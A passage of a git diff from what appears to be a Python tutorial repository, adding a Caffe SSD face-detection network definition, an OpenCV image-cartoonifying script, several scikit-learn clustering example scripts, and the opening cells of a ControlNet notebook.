type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_1_relu" + type: "ReLU" + bottom: "conv9_1_h" + top: "conv9_1_h" +} +layer { + name: "conv9_2_h" + type: "Convolution" + bottom: "conv9_1_h" + top: "conv9_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 0 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_2_relu" + type: "ReLU" + bottom: "conv9_2_h" + top: "conv9_2_h" +} +layer { + name: "conv4_3_norm" + type: "Normalize" + bottom: "layer_256_1_bn1" + top: "conv4_3_norm" + norm_param { + across_spatial: false + scale_filler { + type: "constant" + value: 20 + } + channel_shared: false + } +} +layer { + name: "conv4_3_norm_mbox_loc" + type: "Convolution" + bottom: "conv4_3_norm" + top: "conv4_3_norm_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 16 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv4_3_norm_mbox_loc_perm" + type: "Permute" + bottom: "conv4_3_norm_mbox_loc" + top: "conv4_3_norm_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv4_3_norm_mbox_loc_flat" + type: "Flatten" + bottom: "conv4_3_norm_mbox_loc_perm" + top: "conv4_3_norm_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv4_3_norm_mbox_conf" + type: "Convolution" + bottom: "conv4_3_norm" + top: "conv4_3_norm_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 8 # 84 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv4_3_norm_mbox_conf_perm" + type: "Permute" + bottom: "conv4_3_norm_mbox_conf" + top: "conv4_3_norm_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv4_3_norm_mbox_conf_flat" + type: "Flatten" + bottom: "conv4_3_norm_mbox_conf_perm" + top: "conv4_3_norm_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv4_3_norm_mbox_priorbox" + type: "PriorBox" + bottom: "conv4_3_norm" + bottom: "data" + top: "conv4_3_norm_mbox_priorbox" + prior_box_param { + min_size: 30.0 + max_size: 60.0 + aspect_ratio: 2 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 8 + offset: 0.5 + } +} +layer { + name: "fc7_mbox_loc" + type: "Convolution" + bottom: "fc7" + top: "fc7_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 24 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "fc7_mbox_loc_perm" + type: "Permute" + bottom: "fc7_mbox_loc" + top: "fc7_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "fc7_mbox_loc_flat" + type: "Flatten" + bottom: "fc7_mbox_loc_perm" + top: "fc7_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "fc7_mbox_conf" + type: "Convolution" + bottom: "fc7" + top: "fc7_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 12 # 126 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "fc7_mbox_conf_perm" + type: "Permute" + bottom: "fc7_mbox_conf" + top: "fc7_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "fc7_mbox_conf_flat" + type: "Flatten" + bottom: "fc7_mbox_conf_perm" + top: "fc7_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "fc7_mbox_priorbox" + type: "PriorBox" + bottom: "fc7" + bottom: "data" + top: "fc7_mbox_priorbox" + prior_box_param { + min_size: 60.0 + max_size: 111.0 + aspect_ratio: 2 + aspect_ratio: 3 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 16 + offset: 0.5 + } +} +layer { + name: "conv6_2_mbox_loc" + type: "Convolution" + bottom: "conv6_2_h" + top: "conv6_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 24 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_2_mbox_loc_perm" + type: "Permute" + bottom: "conv6_2_mbox_loc" + top: "conv6_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv6_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv6_2_mbox_loc_perm" + top: "conv6_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv6_2_mbox_conf" + type: "Convolution" + bottom: "conv6_2_h" + top: "conv6_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 12 # 126 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_2_mbox_conf_perm" + type: "Permute" + bottom: "conv6_2_mbox_conf" + top: "conv6_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv6_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv6_2_mbox_conf_perm" + top: "conv6_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv6_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv6_2_h" + bottom: "data" + top: "conv6_2_mbox_priorbox" + prior_box_param { + min_size: 111.0 + max_size: 162.0 + aspect_ratio: 2 + aspect_ratio: 3 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 32 + offset: 0.5 + } +} +layer { + name: "conv7_2_mbox_loc" + type: "Convolution" + bottom: "conv7_2_h" + top: "conv7_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 24 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_2_mbox_loc_perm" + type: "Permute" + bottom: "conv7_2_mbox_loc" + top: "conv7_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv7_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv7_2_mbox_loc_perm" + top: "conv7_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv7_2_mbox_conf" + type: "Convolution" + bottom: "conv7_2_h" + top: "conv7_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 12 # 126 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_2_mbox_conf_perm" + type: "Permute" + bottom: "conv7_2_mbox_conf" + top: "conv7_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv7_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv7_2_mbox_conf_perm" + top: "conv7_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv7_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv7_2_h" + bottom: "data" + top: "conv7_2_mbox_priorbox" + prior_box_param { + min_size: 162.0 + max_size: 213.0 + aspect_ratio: 2 + aspect_ratio: 3 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 64 + offset: 0.5 + } +} +layer { + name: "conv8_2_mbox_loc" + type: "Convolution" + bottom: "conv8_2_h" + top: "conv8_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 16 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_2_mbox_loc_perm" + type: "Permute" + bottom: "conv8_2_mbox_loc" + top: "conv8_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv8_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv8_2_mbox_loc_perm" + top: "conv8_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv8_2_mbox_conf" + type: "Convolution" + bottom: "conv8_2_h" + top: "conv8_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 8 # 84 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_2_mbox_conf_perm" + type: "Permute" + bottom: "conv8_2_mbox_conf" + top: "conv8_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv8_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv8_2_mbox_conf_perm" + top: "conv8_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv8_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv8_2_h" + bottom: "data" + top: "conv8_2_mbox_priorbox" + prior_box_param { + min_size: 213.0 + max_size: 264.0 + aspect_ratio: 2 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 100 + offset: 0.5 + } +} +layer { + name: "conv9_2_mbox_loc" + type: "Convolution" + bottom: "conv9_2_h" + top: "conv9_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 16 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_2_mbox_loc_perm" + type: "Permute" + bottom: "conv9_2_mbox_loc" + top: "conv9_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv9_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv9_2_mbox_loc_perm" + top: "conv9_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv9_2_mbox_conf" + type: "Convolution" + bottom: "conv9_2_h" + top: "conv9_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 8 # 84 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_2_mbox_conf_perm" + type: "Permute" + bottom: "conv9_2_mbox_conf" + top: "conv9_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv9_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv9_2_mbox_conf_perm" + top: "conv9_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv9_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv9_2_h" + bottom: "data" + top: "conv9_2_mbox_priorbox" + prior_box_param { + min_size: 264.0 + max_size: 315.0 + aspect_ratio: 2 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 300 + offset: 0.5 + } +} +layer { + name: "mbox_loc" + type: "Concat" + bottom: "conv4_3_norm_mbox_loc_flat" + bottom: "fc7_mbox_loc_flat" + bottom: "conv6_2_mbox_loc_flat" + bottom: "conv7_2_mbox_loc_flat" + bottom: "conv8_2_mbox_loc_flat" + bottom: "conv9_2_mbox_loc_flat" + top: "mbox_loc" + concat_param { + axis: 1 + } +} +layer { + name: "mbox_conf" + type: "Concat" + bottom: "conv4_3_norm_mbox_conf_flat" + bottom: "fc7_mbox_conf_flat" + bottom: "conv6_2_mbox_conf_flat" + bottom: "conv7_2_mbox_conf_flat" + bottom: "conv8_2_mbox_conf_flat" + bottom: "conv9_2_mbox_conf_flat" + top: "mbox_conf" + concat_param { + axis: 1 + } +} +layer { + name: "mbox_priorbox" + type: "Concat" + bottom: "conv4_3_norm_mbox_priorbox" + bottom: "fc7_mbox_priorbox" + bottom: "conv6_2_mbox_priorbox" + bottom: "conv7_2_mbox_priorbox" + bottom: "conv8_2_mbox_priorbox" + bottom: "conv9_2_mbox_priorbox" + top: "mbox_priorbox" + concat_param { + axis: 2 + } +} + +layer { + name: "mbox_conf_reshape" + type: "Reshape" + bottom: "mbox_conf" + top: "mbox_conf_reshape" + reshape_param { + shape { + dim: 0 + dim: -1 + dim: 2 + } + } +} +layer { + name: "mbox_conf_softmax" + type: "Softmax" + bottom: "mbox_conf_reshape" + top: "mbox_conf_softmax" + softmax_param { + axis: 2 + } +} +layer { + name: "mbox_conf_flatten" + type: "Flatten" + bottom: "mbox_conf_softmax" + top: "mbox_conf_flatten" + flatten_param { + axis: 1 + } +} + +layer { + name: "detection_out" + type: "DetectionOutput" + bottom: "mbox_loc" + bottom: "mbox_conf_flatten" + bottom: "mbox_priorbox" + top: "detection_out" + include { + phase: TEST + } + detection_output_param { + num_classes: 2 + share_location: true + background_label_id: 0 + nms_param { + nms_threshold: 0.45 + top_k: 400 + } + code_type: CENTER_SIZE + keep_top_k: 200 + confidence_threshold: 0.01 + clip: 1 + } +} \ No newline at end of file diff --git a/machine-learning/blur-faces/weights/res10_300x300_ssd_iter_140000_fp16.caffemodel b/machine-learning/blur-faces/weights/res10_300x300_ssd_iter_140000_fp16.caffemodel new file mode 100644 index 00000000..0e9cd4ab Binary files /dev/null and b/machine-learning/blur-faces/weights/res10_300x300_ssd_iter_140000_fp16.caffemodel differ diff --git a/machine-learning/cartoonify-images/README.md b/machine-learning/cartoonify-images/README.md new file mode 100644 index 00000000..29d1ccd1 --- /dev/null +++ b/machine-learning/cartoonify-images/README.md @@ -0,0 +1 @@ +# [How to Cartoonify Images in Python](https://thepythoncode.com/article/make-a-cartoonifier-with-opencv-in-python) \ No newline at end of file diff --git a/machine-learning/cartoonify-images/cartooned_hazrard2.jpg b/machine-learning/cartoonify-images/cartooned_hazrard2.jpg new file mode 100644 index 00000000..51166476 Binary files /dev/null and b/machine-learning/cartoonify-images/cartooned_hazrard2.jpg differ diff --git a/machine-learning/cartoonify-images/cartoonifier.py b/machine-learning/cartoonify-images/cartoonifier.py new file mode 100644 index 00000000..24bcd785 --- /dev/null +++ b/machine-learning/cartoonify-images/cartoonifier.py @@ -0,0 +1,44 @@ +import cv2, argparse, sys + + +# In this function, we accept an image and convert it to a cartoon form. +def cartoonizer(image_name): + # Load the image to cartoonize. + image_to_animate = cv2.imread(image_name) + + # Apply a bilateral filter to smoothen the image while preserving edges. + smoothened_image = cv2.bilateralFilter(image_to_animate, d=9, sigmaColor=75, sigmaSpace=75) + + # Convert image to gray and create an edge mask using adaptive thresholding. + gray_image = cv2.cvtColor(smoothened_image, cv2.COLOR_BGR2GRAY) + edges = cv2.adaptiveThreshold(gray_image, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9) + + # Combine the smoothened image and the edge mask to create a cartoon-like effect. + to_cartoon = cv2.bitwise_and(smoothened_image, smoothened_image, mask=edges) + + # Save the cartoon image in our current directory. A new Image would be generated in your current directory. + cartooned_image = f"cartooned_{image_name}" + cv2.imwrite(cartooned_image, to_cartoon) + + # Display the result. + cv2.imshow("Cartooned Image", to_cartoon) + cv2.waitKey(0) + cv2.destroyAllWindows() + + +# In this function, we accept user's argument from the terminal. -i or --image to specify the image. +def get_image_argument(): + parser = argparse.ArgumentParser(description="Please specify an image to 'cartoonify'.") + parser.add_argument('-i', '--image', help="Please use -h or --help to see usage.", dest='image') + argument = parser.parse_args() + + if not argument.image: + print("[-] Please specify an image. Use --help to see usage.") + sys.exit() # Exit the program + + return argument + + +# We get the user's input (image) from the terminal and pass it into cartoonizer function. +image_args = get_image_argument() +cartoonizer(image_args.image) diff --git a/machine-learning/cartoonify-images/hazrard2.jpg b/machine-learning/cartoonify-images/hazrard2.jpg new file mode 100644 index 00000000..ccb1dd9a Binary files /dev/null and b/machine-learning/cartoonify-images/hazrard2.jpg differ diff --git a/machine-learning/cartoonify-images/requirements.txt b/machine-learning/cartoonify-images/requirements.txt new file mode 100644 index 00000000..1db7aea1 --- /dev/null +++ b/machine-learning/cartoonify-images/requirements.txt @@ -0,0 +1 @@ +opencv-python \ No newline at end of file diff --git a/machine-learning/clustering-algorithms/README.md b/machine-learning/clustering-algorithms/README.md new file mode 100644 index 00000000..c24bea67 --- /dev/null +++ b/machine-learning/clustering-algorithms/README.md @@ -0,0 +1 @@ +# [Exploring the Different Types of Clustering Algorithms in Machine Learning with Python](https://www.thepythoncode.com/article/clustering-algorithms-in-machine-learning-with-python) \ No newline at end of file diff --git a/machine-learning/clustering-algorithms/affinity_propagation.py b/machine-learning/clustering-algorithms/affinity_propagation.py new file mode 100644 index 00000000..a3ed5077 --- /dev/null +++ b/machine-learning/clustering-algorithms/affinity_propagation.py @@ -0,0 +1,23 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.cluster import AffinityPropagation +from matplotlib import pyplot + +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) + +# initialize the model +m = AffinityPropagation(damping=0.9) +# fit the model +m.fit(X) +# predict the cluster for each data point +p = m.predict(X) +# unique clusters +cl = np.unique(p) +# plot the data points and cluster centers +for c in cl: + r = np.where(c == p) + pyplot.title('Affinity Propagation Clustering') + pyplot.scatter(X[r, 0], X[r, 1]) +# show the plot +pyplot.show() diff --git a/machine-learning/clustering-algorithms/agglomerative_clustering.py b/machine-learning/clustering-algorithms/agglomerative_clustering.py new file mode 100644 index 00000000..bcc54b71 --- /dev/null +++ b/machine-learning/clustering-algorithms/agglomerative_clustering.py @@ -0,0 +1,20 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.cluster import AgglomerativeClustering +from matplotlib import pyplot + +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) +# init the model with 3 clusters +m = AgglomerativeClustering(n_clusters=3) +# predict the cluster for each data point after fitting the model +p = m.fit_predict(X) +# unique clusters +cl = np.unique(p) +# plot the data points and cluster centers +for c in cl: + r = np.where(c == p) + pyplot.title('Agglomerative Clustering') + pyplot.scatter(X[r, 0], X[r, 1]) +# show the plot +pyplot.show() diff --git a/machine-learning/clustering-algorithms/birch.py b/machine-learning/clustering-algorithms/birch.py new file mode 100644 index 00000000..cd32cf24 --- /dev/null +++ b/machine-learning/clustering-algorithms/birch.py @@ -0,0 +1,20 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.cluster import Birch +from matplotlib import pyplot + +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) +# init the model with 2 clusters +m = Birch(threshold=0.05, n_clusters=2) +# predict the cluster for each data point after fitting the model +p = m.fit_predict(X) +# unique clusters +cl = np.unique(p) +# plot the data points and cluster centers +for c in cl: + r = np.where(c == p) + pyplot.title('Birch Clustering') + pyplot.scatter(X[r, 0], X[r, 1]) +# show the plot +pyplot.show() diff --git a/machine-learning/clustering-algorithms/dbscan_clustering.py b/machine-learning/clustering-algorithms/dbscan_clustering.py new file mode 100644 index 00000000..2b553532 --- /dev/null +++ b/machine-learning/clustering-algorithms/dbscan_clustering.py @@ -0,0 +1,20 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.cluster import DBSCAN +from matplotlib import pyplot + +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) +# init the model +m = DBSCAN(eps=0.05, min_samples=10) +# predict the cluster for each data point after fitting the model +p = m.fit_predict(X) +# unique clusters +cl = np.unique(p) +# plot the data points and cluster centers +for c in cl: + r = np.where(c == p) + pyplot.title('DBSCAN Clustering') + pyplot.scatter(X[r, 0], X[r, 1]) +# show the plot +pyplot.show() diff --git a/machine-learning/clustering-algorithms/gmm.py b/machine-learning/clustering-algorithms/gmm.py new file mode 100644 index 00000000..c15167bd --- /dev/null +++ b/machine-learning/clustering-algorithms/gmm.py @@ -0,0 +1,20 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.mixture import GaussianMixture +from matplotlib import pyplot + +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) +# init the model with 2 components +m = GaussianMixture(n_components=2) +# predict the cluster for each data point after fitting the model +p = m.fit_predict(X) +# unique clusters +cl = np.unique(p) +# plot the data points and cluster centers +for c in cl: + r = np.where(c == p) + pyplot.title('Gaussian Mixture Clustering') + pyplot.scatter(X[r, 0], X[r, 1]) +# show the plot +pyplot.show() diff --git a/machine-learning/clustering-algorithms/kmeans_clustering.py b/machine-learning/clustering-algorithms/kmeans_clustering.py new file mode 100644 index 00000000..a80332c1 --- /dev/null +++ b/machine-learning/clustering-algorithms/kmeans_clustering.py @@ -0,0 +1,24 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.cluster import KMeans +from matplotlib import pyplot + +# 2 features, 2 informative, 0 redundant, 1 cluster per class +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) + +# 2 clusters +m = KMeans(n_clusters=2) +# fit the model +m.fit(X) +# predict the cluster for each data point +p = m.predict(X) +# unique clusters +cl = np.unique(p) +# plot the data points and cluster centers +for c in cl: + r = np.where(c == p) + pyplot.title('K-means (No. of Clusters = 3)') + pyplot.scatter(X[r, 0], X[r, 1]) +# show the plot +pyplot.show() diff --git a/machine-learning/clustering-algorithms/meanshift_clustering.py b/machine-learning/clustering-algorithms/meanshift_clustering.py new file mode 100644 index 00000000..7ce97a72 --- /dev/null +++ b/machine-learning/clustering-algorithms/meanshift_clustering.py @@ -0,0 +1,20 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.cluster import MeanShift +from matplotlib import pyplot + +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) +# init the model +m = MeanShift() +# predict the cluster for each data point after fitting the model +p = m.fit_predict(X) +# unique clusters +cl = np.unique(p) +# plot the data points and cluster centers +for c in cl: + r = np.where(c == p) + pyplot.title('Mean Shift Clustering') + pyplot.scatter(X[r, 0], X[r, 1]) +# show the plot +pyplot.show() diff --git a/machine-learning/clustering-algorithms/metrics.py b/machine-learning/clustering-algorithms/metrics.py new file mode 100644 index 00000000..d7571715 --- /dev/null +++ b/machine-learning/clustering-algorithms/metrics.py @@ -0,0 +1,10 @@ +from sklearn import metrics + +y_true = [5, 3, 5, 4, 4, 5] +y_pred = [3, 5, 5, 4, 3, 4] +# homogeneity: each cluster contains only members of a single class. +print(metrics.homogeneity_score(y_true, y_pred)) +# completeness: all members of a given class are assigned to the same cluster. +print(metrics.completeness_score(y_true, y_pred)) +# v-measure: harmonic mean of homogeneity and completeness +print(metrics.v_measure_score(y_true, y_pred)) diff --git a/machine-learning/clustering-algorithms/minibatch_kmeans_clustering.py b/machine-learning/clustering-algorithms/minibatch_kmeans_clustering.py new file mode 100644 index 00000000..1cabe4f3 --- /dev/null +++ b/machine-learning/clustering-algorithms/minibatch_kmeans_clustering.py @@ -0,0 +1,22 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.cluster import MiniBatchKMeans +from matplotlib import pyplot + +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) +# 3 clusters +m = MiniBatchKMeans(n_clusters=3) +# fit the model +m.fit(X) +# predict the cluster for each data point +p = m.predict(X) +# unique clusters +cl = np.unique(p) +# plot the data points and cluster centers +for c in cl: + r = np.where(c == p) + pyplot.title('Mini Batch K-means') + pyplot.scatter(X[r, 0], X[r, 1]) +# show the plot +pyplot.show() diff --git a/machine-learning/clustering-algorithms/optics.py b/machine-learning/clustering-algorithms/optics.py new file mode 100644 index 00000000..f85023f7 --- /dev/null +++ b/machine-learning/clustering-algorithms/optics.py @@ -0,0 +1,21 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.cluster import OPTICS +from matplotlib import pyplot + +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) + +# init the model +m = OPTICS(eps=0.5, min_samples=10) +# predict the cluster for each data point after fitting the model +p = m.fit_predict(X) +# unique clusters +cl = np.unique(p) +# plot the data points and cluster centers +for c in cl: + r = np.where(c == p) + pyplot.title('OPTICS Clustering') + pyplot.scatter(X[r, 0], X[r, 1]) +# show the plot +pyplot.show() diff --git a/machine-learning/clustering-algorithms/requirements.txt b/machine-learning/clustering-algorithms/requirements.txt new file mode 100644 index 00000000..d5faa840 --- /dev/null +++ b/machine-learning/clustering-algorithms/requirements.txt @@ -0,0 +1,3 @@ +scikit-learn +numpy +matplotlib \ No newline at end of file diff --git a/machine-learning/clustering-algorithms/spectral_clustering.py b/machine-learning/clustering-algorithms/spectral_clustering.py new file mode 100644 index 00000000..241b5c6d --- /dev/null +++ b/machine-learning/clustering-algorithms/spectral_clustering.py @@ -0,0 +1,20 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.cluster import SpectralClustering +from matplotlib import pyplot + +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) +# init the model with 3 clusters +m = SpectralClustering(n_clusters=3) +# predict the cluster for each data point after fitting the model +p = m.fit_predict(X) +# unique clusters +cl = np.unique(p) +# plot the data points and cluster centers +for c in cl: + r = np.where(c == p) + pyplot.title('Spectral Clustering') + pyplot.scatter(X[r, 0], X[r, 1]) +# show the plot +pyplot.show() diff --git a/machine-learning/clustering-algorithms/time_diff_minibatch_and_kmeans.py b/machine-learning/clustering-algorithms/time_diff_minibatch_and_kmeans.py new file mode 100644 index 00000000..e4fe9f95 --- /dev/null +++ b/machine-learning/clustering-algorithms/time_diff_minibatch_and_kmeans.py @@ -0,0 +1,26 @@ +import numpy as np +from sklearn.datasets import make_classification +from sklearn.cluster import MiniBatchKMeans +from sklearn.cluster import KMeans +from matplotlib import pyplot +import timeit + +X, y = make_classification(n_samples=1000, n_features=2, n_informative=2, + n_redundant=0, n_clusters_per_class=1, random_state=10) +# start timer for Mini Batch K-Means +t1_mkm = timeit.default_timer() +m = MiniBatchKMeans(n_clusters=2) +m.fit(X) +p = m.predict(X) +# stop timer for Mini Batch K-Means +t2_mkm = timeit.default_timer() +# start timer for K-Means +t1_km = timeit.default_timer() +m = KMeans(n_clusters=2) +m.fit(X) +p = m.predict(X) +# stop timer for K-Means +t2_km = timeit.default_timer() +# print time difference +print("Time difference between Mini Batch K-Means and K-Means = ", + (t2_km-t1_km)-(t2_mkm-t1_mkm)) diff --git a/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb b/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..e2500451 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/ControlNet_PythonCodeTutorial.ipynb @@ -0,0 +1,20363 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "8_55MSKhrtss", + "outputId": "44fe5aac-1542-4f19-b926-6fee990835e9" + }, + "outputs": [], + "source": [ + "!pip install -qU xformers diffusers transformers accelerate" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Xrl7OL6BrtpU", + "outputId": "9525d6ad-4af6-4a9f-98b0-6d76308fdf13" + }, + "outputs": [], + "source": [ + "!pip install -qU controlnet_aux\n", + "!pip install opencv-contrib-python" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "h6XPbq0FrPQG" + }, + "source": [ + "# Open Pose" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "0wEufS0RrObO", + "outputId": "77977e89-4b72-4a5d-b39a-801953031247" + }, + "outputs": [], + "source": [ + "from PIL import Image\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "import torch\n", + "from controlnet_aux import OpenposeDetector\n", + "from diffusers.utils import load_image\n", + "from tqdm import tqdm\n", + "from torch import autocast" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 662, + 